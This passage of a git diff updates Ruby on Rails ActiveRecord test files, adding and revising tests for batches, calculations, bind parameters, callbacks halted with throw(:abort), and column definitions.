+    ActiveSupport::Dependencies.stubs(:safe_constantize).raises(ArgumentError)
     assert_raises ArgumentError do
       ActiveRecord::Base.send :compute_type, 'InvalidModel'
     end
@@ -1284,7 +1300,10 @@ class BasicsTest < ActiveRecord::TestCase
     c1 = Post.connection.schema_cache.columns('posts')
     ActiveRecord::Base.clear_cache!
     c2 = Post.connection.schema_cache.columns('posts')
-    assert_not_equal c1, c2
+    c1.each_with_index do |v, i|
+      assert_not_same v, c2[i]
+    end
+    assert_equal c1, c2
   end
 
   def test_current_scope_is_reset
@@ -1324,33 +1343,35 @@ class BasicsTest < ActiveRecord::TestCase
     assert_equal 1, post.comments.length
   end
 
-  def test_marshal_between_processes
-    skip "fork isn't supported" unless Process.respond_to?(:fork)
+  if Process.respond_to?(:fork) && !in_memory_db?
+    def test_marshal_between_processes
+      # Define a new model to ensure there are no caches
+      if self.class.const_defined?("Post", false)
+        flunk "there should be no post constant"
+      end
 
-    # Define a new model to ensure there are no caches
-    if self.class.const_defined?("Post", false)
-      flunk "there should be no post constant"
-    end
+      self.class.const_set("Post", Class.new(ActiveRecord::Base) {
+        has_many :comments
+      })
 
-    self.class.const_set("Post", Class.new(ActiveRecord::Base) {
-      has_many :comments
-    })
+      rd, wr = IO.pipe
+      rd.binmode
+      wr.binmode
 
-    rd, wr = IO.pipe
+      ActiveRecord::Base.connection_handler.clear_all_connections!
 
-    ActiveRecord::Base.connection_handler.clear_all_connections!
+      fork do
+        rd.close
+        post = Post.new
+        post.comments.build
+        wr.write Marshal.dump(post)
+        wr.close
+      end
 
-    fork do
-      rd.close
-      post = Post.new
-      post.comments.build
-      wr.write Marshal.dump(post)
       wr.close
+      assert Marshal.load rd.read
+      rd.close
     end
-
-    wr.close
-    assert Marshal.load rd.read
-    rd.close
   end
 
   def test_marshalling_new_record_round_trip_with_associations
@@ -1405,15 +1426,14 @@ class BasicsTest < ActiveRecord::TestCase
     attrs = topic.attributes.dup
     attrs.delete 'id'
 
-    typecast = Class.new {
+    typecast = Class.new(ActiveRecord::Type::Value) {
       def type_cast value
         "t.lo"
       end
     }
 
     types = { 'author_name' => typecast.new }
-    topic = Topic.allocate.init_with 'attributes' => attrs,
-                                     'column_types' => types
+    topic = Topic.instantiate(attrs, types)
 
     assert_equal 't.lo', topic.author_name
   end
@@ -1440,20 +1460,6 @@ class BasicsTest < ActiveRecord::TestCase
     assert_equal "", Company.new.description
   end
 
-  ["find_by", "find_by!"].each do |meth|
-    test "#{meth} delegates to scoped" do
-      record = stub
-
-      scope = mock
-      scope.expects(meth).with(:foo, :bar).returns(record)
-
-      klass = Class.new(ActiveRecord::Base)
-      klass.stubs(:all => scope)
-
-      assert_equal record, klass.public_send(meth, :foo, :bar)
-    end
-  end
-
   test "scoped can take a values hash" do
     klass = Class.new(ActiveRecord::Base)
     assert_equal ['foo'], klass.all.merge!(select: 'foo').select_values
@@ -1514,4 +1520,21 @@ class BasicsTest < ActiveRecord::TestCase
     assert_equal after_handler, new_handler
     assert_equal orig_handler, klass.connection_handler
   end
+
+  # Note: This is a performance optimization for Array#uniq and Hash#[] with
+  # AR::Base objects. If the future has made this irrelevant, feel free to
+  # delete this.
+  test "records without an id have unique hashes" do
+    assert_not_equal Post.new.hash, Post.new.hash
+  end
+
+  test "resetting column information doesn't remove attribute methods" do
+    topic = topics(:first)
+
+    assert_not topic.id_changed?
+
+    Topic.reset_column_information
+
+    assert_not topic.id_changed?
+  end
 end
diff --git a/activerecord/test/cases/batches_test.rb b/activerecord/test/cases/batches_test.rb
index 38c2560d69..c05382598b 100644
--- a/activerecord/test/cases/batches_test.rb
+++ b/activerecord/test/cases/batches_test.rb
@@ -35,6 +35,14 @@ class EachTest < ActiveRecord::TestCase
     end
   end
 
+  if Enumerator.method_defined? :size
+    def test_each_should_return_a_sized_enumerator
+      assert_equal 11, Post.find_each(:batch_size => 1).size
+      assert_equal 5, Post.find_each(:batch_size => 2, :start => 7).size
+      assert_equal 11, Post.find_each(:batch_size => 10_000).size
+    end
+  end
+
   def test_each_enumerator_should_execute_one_query_per_batch
     assert_queries(@total + 1) do
       Post.find_each(:batch_size => 1).with_index do |post, index|
@@ -46,7 +54,9 @@ class EachTest < ActiveRecord::TestCase
 
   def test_each_should_raise_if_select_is_set_without_id
     assert_raise(RuntimeError) do
-      Post.select(:title).find_each(:batch_size => 1) { |post| post }
+      Post.select(:title).find_each(batch_size: 1) { |post|
+        flunk "should not call this block"
+      }
     end
   end
 
@@ -96,6 +106,15 @@ class EachTest < ActiveRecord::TestCase
     end
   end
 
+  def test_find_in_batches_should_end_at_the_end_option
+    assert_queries(6) do
+      Post.find_in_batches(batch_size: 1, end_at: 5) do |batch|
+        assert_kind_of Array, batch
+        assert_kind_of Post, batch.first
+      end
+    end
+  end
+
   def test_find_in_batches_shouldnt_execute_query_unless_needed
     assert_queries(2) do
       Post.find_in_batches(:batch_size => @total) {|batch| assert_kind_of Array, batch }
@@ -151,6 +170,12 @@ class EachTest < ActiveRecord::TestCase
     assert_equal special_posts_ids, posts.map(&:id)
   end
 
+  def test_find_in_batches_should_not_modify_passed_options
+    assert_nothing_raised do
+      Post.find_in_batches({ batch_size: 42, start: 1 }.freeze){}
+    end
+  end
+
   def test_find_in_batches_should_use_any_column_as_primary_key
     nick_order_subscribers = Subscriber.order('nick asc')
     start_nick = nick_order_subscribers.second.nick
@@ -170,4 +195,27 @@ class EachTest < ActiveRecord::TestCase
       end
     end
   end
+
+  def test_find_in_batches_should_return_an_enumerator
+    enum = nil
+    assert_queries(0) do
+      enum = Post.find_in_batches(:batch_size => 1)
+    end
+    assert_queries(4) do
+      enum.first(4) do |batch|
+        assert_kind_of Array, batch
+        assert_kind_of Post, batch.first
+      end
+    end
+  end
+
+  if Enumerator.method_defined? :size
+    def test_find_in_batches_should_return_a_sized_enumerator
+      assert_equal 11, Post.find_in_batches(:batch_size => 1).size
+      assert_equal 6, Post.find_in_batches(:batch_size => 2).size
+      assert_equal 4, Post.find_in_batches(:batch_size => 2, :start => 4).size
+      assert_equal 4, Post.find_in_batches(:batch_size => 3).size
+      assert_equal 1, Post.find_in_batches(:batch_size => 10_000).size
+    end
+  end
 end
diff --git a/activerecord/test/cases/binary_test.rb b/activerecord/test/cases/binary_test.rb
index 9a486cf8b8..86dee929bf 100644
--- a/activerecord/test/cases/binary_test.rb
+++ b/activerecord/test/cases/binary_test.rb
@@ -1,10 +1,9 @@
-# encoding: utf-8
 require "cases/helper"
 
 # Without using prepared statements, it makes no sense to test
-# BLOB data with DB2 or Firebird, because the length of a statement
+# BLOB data with DB2, because the length of a statement
 # is limited to 32KB.
-unless current_adapter?(:SybaseAdapter, :DB2Adapter, :FirebirdAdapter)
+unless current_adapter?(:DB2Adapter)
   require 'models/binary'
 
   class BinaryTest < ActiveRecord::TestCase
@@ -21,7 +20,7 @@ unless current_adapter?(:SybaseAdapter, :DB2Adapter, :FirebirdAdapter)
 
       name = binary.name
 
-      # Mysql adapter doesn't properly encode things, so we have to do it
+      # MySQL adapter doesn't properly encode things, so we have to do it
       if current_adapter?(:MysqlAdapter)
         name.force_encoding(Encoding::UTF_8)
       end
diff --git a/activerecord/test/cases/bind_parameter_test.rb b/activerecord/test/cases/bind_parameter_test.rb
index 03aa9fdb27..1e38b97c4a 100644
--- a/activerecord/test/cases/bind_parameter_test.rb
+++ b/activerecord/test/cases/bind_parameter_test.rb
@@ -1,9 +1,11 @@
 require 'cases/helper'
 require 'models/topic'
+require 'models/author'
+require 'models/post'
 
 module ActiveRecord
   class BindParameterTest < ActiveRecord::TestCase
-    fixtures :topics
+    fixtures :topics, :authors, :posts
 
     class LogListener
       attr_accessor :calls
@@ -20,49 +22,51 @@ module ActiveRecord
     def setup
       super
       @connection = ActiveRecord::Base.connection
-      @listener   = LogListener.new
-      @pk         = Topic.columns.find { |c| c.primary }
-      ActiveSupport::Notifications.subscribe('sql.active_record', @listener)
-
-      skip_if_prepared_statement_caching_is_not_supported
+      @subscriber = LogListener.new
+      @pk = Topic.columns_hash[Topic.primary_key]
+      @subscription = ActiveSupport::Notifications.subscribe('sql.active_record', @subscriber)
     end
 
-    def teardown
-      ActiveSupport::Notifications.unsubscribe(@listener)
+    teardown do
+      ActiveSupport::Notifications.unsubscribe(@subscription)
     end
 
-    def test_binds_are_logged
-      sub   = @connection.substitute_at(@pk, 0)
-      binds = [[@pk, 1]]
-      sql   = "select * from topics where id = #{sub}"
+    if ActiveRecord::Base.connection.supports_statement_cache?
+      def test_bind_from_join_in_subquery
+        subquery = Author.joins(:thinking_posts).where(name: 'David')
+        scope = Author.from(subquery, 'authors').where(id: 1)
+        assert_equal 1, scope.count
+      end
 
-      @connection.exec_query(sql, 'SQL', binds)
+      def test_binds_are_logged
+        sub   = @connection.substitute_at(@pk)
+        binds = [Relation::QueryAttribute.new("id", 1, Type::Value.new)]
+        sql   = "select * from topics where id = #{sub.to_sql}"
 
-      message = @listener.calls.find { |args| args[4][:sql] == sql }
-      assert_equal binds, message[4][:binds]
-    end
+        @connection.exec_query(sql, 'SQL', binds)
 
-    def test_find_one_uses_binds
-      Topic.find(1)
-      binds = [[@pk, 1]]
-      message = @listener.calls.find { |args| args[4][:binds] == binds }
-      assert message, 'expected a message with binds'
-    end
+        message = @subscriber.calls.find { |args| args[4][:sql] == sql }
+        assert_equal binds, message[4][:binds]
+      end
 
-    def test_logs_bind_vars
-      pk = Topic.columns.find { |x| x.primary }
+      def test_find_one_uses_binds
+        Topic.find(1)
+        message = @subscriber.calls.find { |args| args[4][:binds].any? { |attr| attr.value == 1 } }
+        assert message, 'expected a message with binds'
+      end
 
-      payload = {
-        :name  => 'SQL',
-        :sql   => 'select * from topics where id = ?',
-        :binds => [[pk, 10]]
-      }
-      event  = ActiveSupport::Notifications::Event.new(
-        'foo',
-        Time.now,
-        Time.now,
-        123,
-        payload)
+      def test_logs_bind_vars_after_type_cast
+        payload = {
+          :name  => 'SQL',
+          :sql   => 'select * from topics where id = ?',
+          :binds => [Relation::QueryAttribute.new("id", "10", Type::Integer.new)]
+        }
+        event  = ActiveSupport::Notifications::Event.new(
+          'foo',
+          Time.now,
+          Time.now,
+          123,
+          payload)
 
         logger = Class.new(ActiveRecord::LogSubscriber) {
           attr_reader :debugs
@@ -77,13 +81,8 @@ module ActiveRecord
         }.new
 
         logger.sql event
-        assert_match([[pk.name, 10]].inspect, logger.debugs.first)
-    end
-
-    private
-
-    def skip_if_prepared_statement_caching_is_not_supported
-      skip('prepared statement caching is not supported') unless @connection.supports_statement_cache?
+        assert_match([[@pk.name, 10]].inspect, logger.debugs.first)
+      end
     end
   end
 end
diff --git a/activerecord/test/cases/calculations_test.rb b/activerecord/test/cases/calculations_test.rb
index 2c41656b3d..f0393aa6b1 100644
--- a/activerecord/test/cases/calculations_test.rb
+++ b/activerecord/test/cases/calculations_test.rb
@@ -10,15 +10,18 @@ require 'models/reply'
 require 'models/minivan'
 require 'models/speedometer'
 require 'models/ship_part'
-
-Company.has_many :accounts
+require 'models/treasure'
 
 class NumericData < ActiveRecord::Base
   self.table_name = 'numeric_data'
+
+  attribute :world_population, :integer
+  attribute :my_house_population, :integer
+  attribute :atoms_in_universe, :integer
 end
 
 class CalculationsTest < ActiveRecord::TestCase
-  fixtures :companies, :accounts, :topics
+  fixtures :companies, :accounts, :topics, :speedometers, :minivans
 
   def test_should_sum_field
     assert_equal 318, Account.sum(:credit_limit)
@@ -49,11 +52,6 @@ class CalculationsTest < ActiveRecord::TestCase
     assert_nil NumericData.average(:bank_balance)
   end
 
-  def test_type_cast_calculated_value_should_convert_db_averages_of_fixnum_class_to_decimal
-    assert_equal 0, NumericData.all.send(:type_cast_calculated_value, 0, nil, 'avg')
-    assert_equal 53.0, NumericData.all.send(:type_cast_calculated_value, 53, nil, 'avg')
-  end
-
   def test_should_get_maximum_of_field
     assert_equal 60, Account.maximum(:credit_limit)
   end
@@ -211,6 +209,10 @@ class CalculationsTest < ActiveRecord::TestCase
     assert_equal 19.83, NumericData.sum(:bank_balance)
   end
 
+  def test_should_return_type_casted_values_with_group_and_expression
+    assert_equal 0.5, Account.group(:firm_name).sum('0.01 * credit_limit')['37signals']
+  end
+
   def test_should_group_by_summed_field_with_conditions
     c = Account.where('firm_id > 1').group(:firm_id).sum(:credit_limit)
     assert_nil        c[1]
@@ -274,7 +276,7 @@ class CalculationsTest < ActiveRecord::TestCase
     c = Company.group("UPPER(#{QUOTED_TYPE})").count(:all)
     assert_equal 2, c[nil]
     assert_equal 1, c['DEPENDENTFIRM']
-    assert_equal 4, c['CLIENT']
+    assert_equal 5, c['CLIENT']
     assert_equal 2, c['FIRM']
   end
 
@@ -282,7 +284,7 @@ class CalculationsTest < ActiveRecord::TestCase
     c = Company.group("UPPER(companies.#{QUOTED_TYPE})").count(:all)
     assert_equal 2, c[nil]
     assert_equal 1, c['DEPENDENTFIRM']
-    assert_equal 4, c['CLIENT']
+    assert_equal 5, c['CLIENT']
     assert_equal 2, c['FIRM']
   end
 
@@ -383,6 +385,20 @@ class CalculationsTest < ActiveRecord::TestCase
     assert_raise(ArgumentError) { Account.count(1, 2, 3) }
   end
 
+  def test_count_with_order
+    assert_equal 6, Account.order(:credit_limit).count
+  end
+
+  def test_count_with_reverse_order
+    assert_equal 6, Account.order(:credit_limit).reverse_order.count
+  end
+
+  def test_count_with_where_and_order
+    assert_equal 1, Account.where(firm_name: '37signals').count
+    assert_equal 1, Account.where(firm_name: '37signals').order(:firm_name).count
+    assert_equal 1, Account.where(firm_name: '37signals').order(:firm_name).reverse_order.count
+  end
+
   def test_should_sum_expression
     # Oracle adapter returns floating point value 636.0 after SUM
     if current_adapter?(:OracleAdapter)
@@ -446,7 +462,6 @@ class CalculationsTest < ActiveRecord::TestCase
     assert_equal 7, Company.includes(:contracts).sum(:developer_id)
   end
 
-
   def test_from_option_with_specified_index
     if Edge.connection.adapter_name == 'MySQL' or Edge.connection.adapter_name == 'Mysql2'
       assert_equal Edge.count(:all), Edge.from('edges USE INDEX(unique_edge_index)').count(:all)
@@ -462,14 +477,14 @@ class CalculationsTest < ActiveRecord::TestCase
   def test_distinct_is_honored_when_used_with_count_operation_after_group
     # Count the number of authors for approved topics
     approved_topics_count = Topic.group(:approved).count(:author_name)[true]
-    assert_equal approved_topics_count, 3
+    assert_equal approved_topics_count, 4
     # Count the number of distinct authors for approved Topics
     distinct_authors_for_approved_count = Topic.group(:approved).distinct.count(:author_name)[true]
-    assert_equal distinct_authors_for_approved_count, 2
+    assert_equal distinct_authors_for_approved_count, 3
   end
 
   def test_pluck
-    assert_equal [1,2,3,4], Topic.order(:id).pluck(:id)
+    assert_equal [1,2,3,4,5], Topic.order(:id).pluck(:id)
   end
 
   def test_pluck_without_column_names
@@ -505,7 +520,7 @@ class CalculationsTest < ActiveRecord::TestCase
   end
 
   def test_pluck_with_qualified_column_name
-    assert_equal [1,2,3,4], Topic.order(:id).pluck("topics.id")
+    assert_equal [1,2,3,4,5], Topic.order(:id).pluck("topics.id")
   end
 
   def test_pluck_auto_table_name_prefix
@@ -553,11 +568,13 @@ class CalculationsTest < ActiveRecord::TestCase
   def test_pluck_multiple_columns
     assert_equal [
       [1, "The First Topic"], [2, "The Second Topic of the day"],
-      [3, "The Third Topic of the day"], [4, "The Fourth Topic of the day"]
+      [3, "The Third Topic of the day"], [4, "The Fourth Topic of the day"],
+      [5, "The Fifth Topic of the day"]
     ], Topic.order(:id).pluck(:id, :title)
     assert_equal [
       [1, "The First Topic", "David"], [2, "The Second Topic of the day", "Mary"],
-      [3, "The Third Topic of the day", "Carl"], [4, "The Fourth Topic of the day", "Carl"]
+      [3, "The Third Topic of the day", "Carl"], [4, "The Fourth Topic of the day", "Carl"],
+      [5, "The Fifth Topic of the day", "Jason"]
     ], Topic.order(:id).pluck(:id, :title, :author_name)
   end
 
@@ -583,7 +600,40 @@ class CalculationsTest < ActiveRecord::TestCase
 
   def test_pluck_replaces_select_clause
     taks_relation = Topic.select(:approved, :id).order(:id)
-    assert_equal [1,2,3,4], taks_relation.pluck(:id)
-    assert_equal [false, true, true, true], taks_relation.pluck(:approved)
+    assert_equal [1,2,3,4,5], taks_relation.pluck(:id)
+    assert_equal [false, true, true, true, true], taks_relation.pluck(:approved)
+  end
+
+  def test_pluck_columns_with_same_name
+    expected = [["The First Topic", "The Second Topic of the day"], ["The Third Topic of the day", "The Fourth Topic of the day"]]
+    actual = Topic.joins(:replies)
+      .pluck('topics.title', 'replies_topics.title')
+    assert_equal expected, actual
+  end
+
+  def test_calculation_with_polymorphic_relation
+    part = ShipPart.create!(name: "has trinket")
+    part.trinkets.create!
+
+    assert_equal part.id, ShipPart.joins(:trinkets).sum(:id)
+  end
+
+  def test_pluck_joined_with_polymorphic_relation
+    part = ShipPart.create!(name: "has trinket")
+    part.trinkets.create!
+
+    assert_equal [part.id], ShipPart.joins(:trinkets).pluck(:id)
+  end
+
+  def test_grouped_calculation_with_polymorphic_relation
+    part = ShipPart.create!(name: "has trinket")
+    part.trinkets.create!
+
+    assert_equal({ "has trinket" => part.id }, ShipPart.joins(:trinkets).group("ship_parts.name").sum(:id))
+  end
+
+  def test_calculation_grouped_by_association_doesnt_error_when_no_records_have_association
+    Client.update_all(client_of: nil)
+    assert_equal({ nil => Client.count }, Client.group(:firm).count)
   end
 end
diff --git a/activerecord/test/cases/callbacks_test.rb b/activerecord/test/cases/callbacks_test.rb
index c8f56e3c73..3ae4a6eade 100644
--- a/activerecord/test/cases/callbacks_test.rb
+++ b/activerecord/test/cases/callbacks_test.rb
@@ -1,4 +1,6 @@
 require "cases/helper"
+require 'models/developer'
+require 'models/computer'
 
 class CallbackDeveloper < ActiveRecord::Base
   self.table_name = 'developers'
@@ -47,6 +49,11 @@ class CallbackDeveloperWithFalseValidation < CallbackDeveloper
   before_validation proc { |model| model.history << [:before_validation, :should_never_get_here] }
 end
 
+class CallbackDeveloperWithHaltedValidation < CallbackDeveloper
+  before_validation proc { |model| model.history << [:before_validation, :throwing_abort]; throw(:abort) }
+  before_validation proc { |model| model.history << [:before_validation, :should_never_get_here] }
+end
+
 class ParentDeveloper < ActiveRecord::Base
   self.table_name = 'developers'
   attr_accessor :after_save_called
@@ -57,27 +64,6 @@ class ChildDeveloper < ParentDeveloper
 
 end
 
-class RecursiveCallbackDeveloper < ActiveRecord::Base
-  self.table_name = 'developers'
-
-  before_save :on_before_save
-  after_save :on_after_save
-
-  attr_reader :on_before_save_called, :on_after_save_called
-
-  def on_before_save
-    @on_before_save_called ||= 0
-    @on_before_save_called += 1
-    save unless @on_before_save_called > 1
-  end
-
-  def on_after_save
-    @on_after_save_called ||= 0
-    @on_after_save_called += 1
-    save unless @on_after_save_called > 1
-  end
-end
-
 class ImmutableDeveloper < ActiveRecord::Base
   self.table_name = 'developers'
 
@@ -86,35 +72,24 @@ class ImmutableDeveloper < ActiveRecord::Base
   before_save :cancel
   before_destroy :cancel
 
-  def cancelled?
-    @cancelled == true
-  end
-
   private
     def cancel
-      @cancelled = true
       false
     end
 end
 
-class ImmutableMethodDeveloper < ActiveRecord::Base
+class DeveloperWithCanceledCallbacks < ActiveRecord::Base
   self.table_name = 'developers'
 
-  validates_inclusion_of :salary, :in => 50000..200000
-
-  def cancelled?
-    @cancelled == true
-  end
+  validates_inclusion_of :salary, in: 50000..200000
 
-  before_save do
-    @cancelled = true
-    false
-  end
+  before_save :cancel
+  before_destroy :cancel
 
-  before_destroy do
-    @cancelled = true
-    false
-  end
+  private
+    def cancel
+      throw(:abort)
+    end
 end
 
 class OnCallbacksDeveloper < ActiveRecord::Base
@@ -180,6 +155,23 @@ class CallbackCancellationDeveloper < ActiveRecord::Base
   after_destroy { @after_destroy_called = true }
 end
 
+class CallbackHaltedDeveloper < ActiveRecord::Base
+  self.table_name = 'developers'
+
+  attr_reader   :after_save_called, :after_create_called, :after_update_called, :after_destroy_called
+  attr_accessor :cancel_before_save, :cancel_before_create, :cancel_before_update, :cancel_before_destroy
+
+  before_save    { throw(:abort) if defined?(@cancel_before_save) }
+  before_create  { throw(:abort) if @cancel_before_create  }
+  before_update  { throw(:abort) if @cancel_before_update  }
+  before_destroy { throw(:abort) if @cancel_before_destroy }
+
+  after_save    { @after_save_called    = true }
+  after_update  { @after_update_called  = true }
+  after_create  { @after_create_called  = true }
+  after_destroy { @after_destroy_called = true }
+end
+
 class CallbacksTest < ActiveRecord::TestCase
   fixtures :developers
 
@@ -296,7 +288,12 @@ class CallbacksTest < ActiveRecord::TestCase
       [ :after_save,                  :string ],
       [ :after_save,                  :proc   ],
       [ :after_save,                  :object ],
-      [ :after_save,                  :block  ]
+      [ :after_save,                  :block  ],
+      [ :after_commit,                :block  ],
+      [ :after_commit,                :object ],
+      [ :after_commit,                :proc   ],
+      [ :after_commit,                :string ],
+      [ :after_commit,                :method ]
     ], david.history
   end
 
@@ -365,7 +362,12 @@ class CallbacksTest < ActiveRecord::TestCase
       [ :after_save,                  :string ],
       [ :after_save,                  :proc   ],
       [ :after_save,                  :object ],
-      [ :after_save,                  :block  ]
+      [ :after_save,                  :block  ],
+      [ :after_commit,                :block  ],
+      [ :after_commit,                :object ],
+      [ :after_commit,                :proc   ],
+      [ :after_commit,                :string ],
+      [ :after_commit,                :method ]
     ], david.history
   end
 
@@ -416,7 +418,12 @@ class CallbacksTest < ActiveRecord::TestCase
       [ :after_destroy,               :string ],
       [ :after_destroy,               :proc   ],
       [ :after_destroy,               :object ],
-      [ :after_destroy,               :block  ]
+      [ :after_destroy,               :block  ],
+      [ :after_commit,                :block  ],
+      [ :after_commit,                :object ],
+      [ :after_commit,                :proc   ],
+      [ :after_commit,                :string ],
+      [ :after_commit,                :method ]
     ], david.history
   end
 
@@ -437,11 +444,14 @@ class CallbacksTest < ActiveRecord::TestCase
     ], david.history
   end
 
-  def test_before_save_returning_false
+  def test_deprecated_before_save_returning_false
     david = ImmutableDeveloper.find(1)
-    assert david.valid?
-    assert !david.save
-    assert_raise(ActiveRecord::RecordNotSaved) { david.save! }
+    assert_deprecated do
+      assert david.valid?
+      assert !david.save
+      exc = assert_raise(ActiveRecord::RecordNotSaved) { david.save! }
+      assert_equal exc.record, david
+    end
 
     david = ImmutableDeveloper.find(1)
     david.salary = 10_000_000
@@ -451,37 +461,48 @@ class CallbacksTest < ActiveRecord::TestCase
 
     someone = CallbackCancellationDeveloper.find(1)
     someone.cancel_before_save = true
-    assert someone.valid?
-    assert !someone.save
+    assert_deprecated do
+      assert someone.valid?
+      assert !someone.save
+    end
     assert_save_callbacks_not_called(someone)
   end
 
-  def test_before_create_returning_false
+  def test_deprecated_before_create_returning_false
     someone = CallbackCancellationDeveloper.new
     someone.cancel_before_create = true
-    assert someone.valid?
-    assert !someone.save
+    assert_deprecated do
+      assert someone.valid?
+      assert !someone.save
+    end
     assert_save_callbacks_not_called(someone)
   end
 
-  def test_before_update_returning_false
+  def test_deprecated_before_update_returning_false
     someone = CallbackCancellationDeveloper.find(1)
     someone.cancel_before_update = true
-    assert someone.valid?
-    assert !someone.save
+    assert_deprecated do
+      assert someone.valid?
+      assert !someone.save
+    end
     assert_save_callbacks_not_called(someone)
   end
 
-  def test_before_destroy_returning_false
+  def test_deprecated_before_destroy_returning_false
     david = ImmutableDeveloper.find(1)
-    assert !david.destroy
-    assert_raise(ActiveRecord::RecordNotDestroyed) { david.destroy! }
+    assert_deprecated do
+      assert !david.destroy
+      exc = assert_raise(ActiveRecord::RecordNotDestroyed) { david.destroy! }
+      assert_equal exc.record, david
+    end
     assert_not_nil ImmutableDeveloper.find_by_id(1)
 
     someone = CallbackCancellationDeveloper.find(1)
     someone.cancel_before_destroy = true
-    assert !someone.destroy
-    assert_raise(ActiveRecord::RecordNotDestroyed) { someone.destroy! }
+    assert_deprecated do
+      assert !someone.destroy
+      assert_raise(ActiveRecord::RecordNotDestroyed) { someone.destroy! }
+    end
     assert !someone.after_destroy_called
   end
 
@@ -492,9 +513,59 @@ class CallbacksTest < ActiveRecord::TestCase
   end
   private :assert_save_callbacks_not_called
 
+  def test_before_create_throwing_abort
+    someone = CallbackHaltedDeveloper.new
+    someone.cancel_before_create = true
+    assert someone.valid?
+    assert !someone.save
+    assert_save_callbacks_not_called(someone)
+  end
+
+  def test_before_save_throwing_abort
+    david = DeveloperWithCanceledCallbacks.find(1)
+    assert david.valid?
+    assert !david.save
+    exc = assert_raise(ActiveRecord::RecordNotSaved) { david.save! }
+    assert_equal exc.record, david
+
+    david = DeveloperWithCanceledCallbacks.find(1)
+    david.salary = 10_000_000
+    assert !david.valid?
+    assert !david.save
+    assert_raise(ActiveRecord::RecordInvalid) { david.save! }
+
+    someone = CallbackHaltedDeveloper.find(1)
+    someone.cancel_before_save = true
+    assert someone.valid?
+    assert !someone.save
+    assert_save_callbacks_not_called(someone)
+  end
+
+  def test_before_update_throwing_abort
+    someone = CallbackHaltedDeveloper.find(1)
+    someone.cancel_before_update = true
+    assert someone.valid?
+    assert !someone.save
+    assert_save_callbacks_not_called(someone)
+  end
+
+  def test_before_destroy_throwing_abort
+    david = DeveloperWithCanceledCallbacks.find(1)
+    assert !david.destroy
+    exc = assert_raise(ActiveRecord::RecordNotDestroyed) { david.destroy! }
+    assert_equal exc.record, david
+    assert_not_nil ImmutableDeveloper.find_by_id(1)
+
+    someone = CallbackHaltedDeveloper.find(1)
+    someone.cancel_before_destroy = true
+    assert !someone.destroy
+    assert_raise(ActiveRecord::RecordNotDestroyed) { someone.destroy! }
+    assert !someone.after_destroy_called
+  end
+
   def test_callback_returning_false
     david = CallbackDeveloperWithFalseValidation.find(1)
-    david.save
+    assert_deprecated { david.save }
     assert_equal [
       [ :after_find,            :method ],
       [ :after_find,            :string ],
@@ -520,6 +591,34 @@ class CallbacksTest < ActiveRecord::TestCase
     ], david.history
   end
 
+  def test_callback_throwing_abort
+    david = CallbackDeveloperWithHaltedValidation.find(1)
+    david.save
+    assert_equal [
+      [ :after_find,        :method ],
+      [ :after_find,        :string ],
+      [ :after_find,        :proc   ],
+      [ :after_find,        :object ],
+      [ :after_find,        :block  ],
+      [ :after_initialize,  :method ],
+      [ :after_initialize,  :string ],
+      [ :after_initialize,  :proc   ],
+      [ :after_initialize,  :object ],
+      [ :after_initialize,  :block  ],
+      [ :before_validation, :method ],
+      [ :before_validation, :string ],
+      [ :before_validation, :proc   ],
+      [ :before_validation, :object ],
+      [ :before_validation, :block  ],
+      [ :before_validation, :throwing_abort ],
+      [ :after_rollback,    :block  ],
+      [ :after_rollback,    :object ],
+      [ :after_rollback,    :proc   ],
+      [ :after_rollback,    :string ],
+      [ :after_rollback,    :method ],
+    ], david.history
+  end
+
   def test_inheritance_of_callbacks
     parent = ParentDeveloper.new
     assert !parent.after_save_called
diff --git a/activerecord/test/cases/column_definition_test.rb b/activerecord/test/cases/column_definition_test.rb
index dbb2f223cd..14b95ecab1 100644
--- a/activerecord/test/cases/column_definition_test.rb
+++ b/activerecord/test/cases/column_definition_test.rb
@@ -11,30 +11,10 @@ module ActiveRecord
         @viz = @adapter.schema_creation
       end
 
-      def test_can_set_coder
-        column = Column.new("title", nil, "varchar(20)")
-        column.coder = YAML
-        assert_equal YAML, column.coder
-      end
-
-      def test_encoded?
-        column = Column.new("title", nil, "varchar(20)")
-        assert !column.encoded?
-
-        column.coder = YAML
-        assert column.encoded?
-      end
-
-      def test_type_case_coded_column
-        column = Column.new("title", nil, "varchar(20)")
-        column.coder = YAML
-        assert_equal "hello", column.type_cast("--- hello")
-      end
-
       # Avoid column definitions in create table statements like:
       # `title` varchar(255) DEFAULT NULL
       def test_should_not_include_default_clause_when_default_is_null
-        column = Column.new("title", nil, "varchar(20)")
+        column = Column.new("title", nil, SqlTypeMetadata.new(limit: 20))
         column_def = ColumnDefinition.new(
           column.name, "string",
           column.limit, column.precision, column.scale, column.default, column.null)
@@ -42,7 +22,7 @@ module ActiveRecord
       end
 
       def test_should_include_default_clause_when_default_is_present
-        column = Column.new("title", "Hello", "varchar(20)")
+        column = Column.new("title", "Hello", SqlTypeMetadata.new(limit: 20))
         column_def = ColumnDefinition.new(
           column.name, "string",
           column.limit, column.precision, column.scale, column.default, column.null)
@@ -50,94 +30,53 @@ module ActiveRecord
       end
 
       def test_should_specify_not_null_if_null_option_is_false
-        column = Column.new("title", "Hello", "varchar(20)", false)
+        type_metadata = SqlTypeMetadata.new(limit: 20)
+        column = Column.new("title", "Hello", type_metadata, false)
         column_def = ColumnDefinition.new(
           column.name, "string",
           column.limit, column.precision, column.scale, column.default, column.null)
           assert_equal %Q{title varchar(20) DEFAULT 'Hello' NOT NULL}, @viz.accept(column_def)
       end
 
-      if current_adapter?(:MysqlAdapter)
-        def test_should_set_default_for_mysql_binary_data_types
-          binary_column = MysqlAdapter::Column.new("title", "a", "binary(1)")
-          assert_equal "a", binary_column.default
-
-          varbinary_column = MysqlAdapter::Column.new("title", "a", "varbinary(1)")
-          assert_equal "a", varbinary_column.default
-        end
-
-        def test_should_not_set_default_for_blob_and_text_data_types
-          assert_raise ArgumentError do
-            MysqlAdapter::Column.new("title", "a", "blob")
-          end
-
-          assert_raise ArgumentError do
-            MysqlAdapter::Column.new("title", "Hello", "text")
-          end
-
-          text_column = MysqlAdapter::Column.new("title", nil, "text")
-          assert_equal nil, text_column.default
-
-          not_null_text_column = MysqlAdapter::Column.new("title", nil, "text", false)
-          assert_equal "", not_null_text_column.default
-        end
-
-        def test_has_default_should_return_false_for_blog_and_test_data_types
-          blob_column = MysqlAdapter::Column.new("title", nil, "blob")
-          assert !blob_column.has_default?
-
-          text_column = MysqlAdapter::Column.new("title", nil, "text")
-          assert !text_column.has_default?
-        end
-      end
-
-      if current_adapter?(:Mysql2Adapter)
+      if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
